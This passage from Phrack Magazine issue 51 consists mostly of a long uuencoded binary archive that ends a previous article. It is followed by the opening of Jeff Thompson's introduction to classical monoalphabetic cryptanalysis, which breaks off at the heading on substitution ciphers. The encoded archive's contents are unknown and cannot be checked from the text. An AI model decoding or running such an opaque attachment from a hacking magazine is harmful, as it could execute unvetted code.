M0>C4$9NGT6)X<]@NY,6!JL>VA)O?=&BQ-3!#(PJ,?3QJ!S7*:)+A@0_!)(-Z
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
"`@#S
`
end
<-->


----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 13 of 17


-------------------------[  Monoalphabetic Cryptanalysis (Cyphers, Part One)


--------[  Jeff Thompson aka 'Mythrandir' <jwthomp@cu-online.com>



Written for Phrack and completed on Sunday, August 31st, 1997.


---------

First a quick hello to all of those I met at DefCon this year.  It was 
incredible fun to finally put faces to many of the people I have been talking 
with for some time.  It was truly was a treat to meet so many others who are 
alive with the spirit of discovery.  

----------


This is the first in a series of articles on Cryptology that I am writing.  
The goals of these articles will be to attempt to convey some of the excitement
and fun of cyphers.  A topic of much discussion in regards to cryptography 
currently, is about computer based cyphers such as DES, RSA, and the PGP 
implementation.  I will not be discussing these.  Rather, these articles will 
cover what I will term classical cryptology.  Or cryptology as it existed 
before fast number crunching machines came into existance.  These are the sorts
of cyphers which interested cryptographers throughout time and continue to be 
found even to this very day.  Even today, companies are producing software 
whose encryption methods are attackable.  You will find these commonly among 
password protection schemes for software programs.  Through the course of these
articles I will explain in practical terms several common cypher types and 
various implementations of them as well as cryptanalytic techniques for 
breaking these cyphers.

Creating cyphers is fun and all, but the real excitement and often times tedium
is found in Cryptanalysis.  Many of the ideas presented in these articles will 
based on three sources.  The following two books: The Codebreakers by David 
Kahn (ISBN: 0-684-83130-9) and Decrypted Secrets by F.L. Bauer 
(ISBN: 3-540-60418-9).  Both authors have put together wonderful books which 
both cover the history and methods of Cryptology.  Do yourself and the authors 
a favor and purchase these books.  You will be very pleased with the lot.  
Finally, a miniscule amount of these articles will be written based on my own 
personal experience.  

The fun is in the journey and I welcome you on what is certain to be an 
interesting trip.  Please feel free to raise questions, engage me in 
discussions, correct me, or simply offer suggestions at jwthomp@cu-online.com.
Please be patient with me as I am traveling extensively currently, and may be 
away from the computer at length occasionally.  

Out the door and into the wild...


--Monoalphabetic Cyphers

Monoalphabetic cyphers are often currently found in simple cryptograms in books
and magazines.  These are just simple substitution cyphers.  This does not 
mean that they are always simple for the beginning amateur to solve.

Three common monoalphabetic cyphers which are used are substitution, cyclical, 
and keyed cyphers.


-Substitution Cyphers 

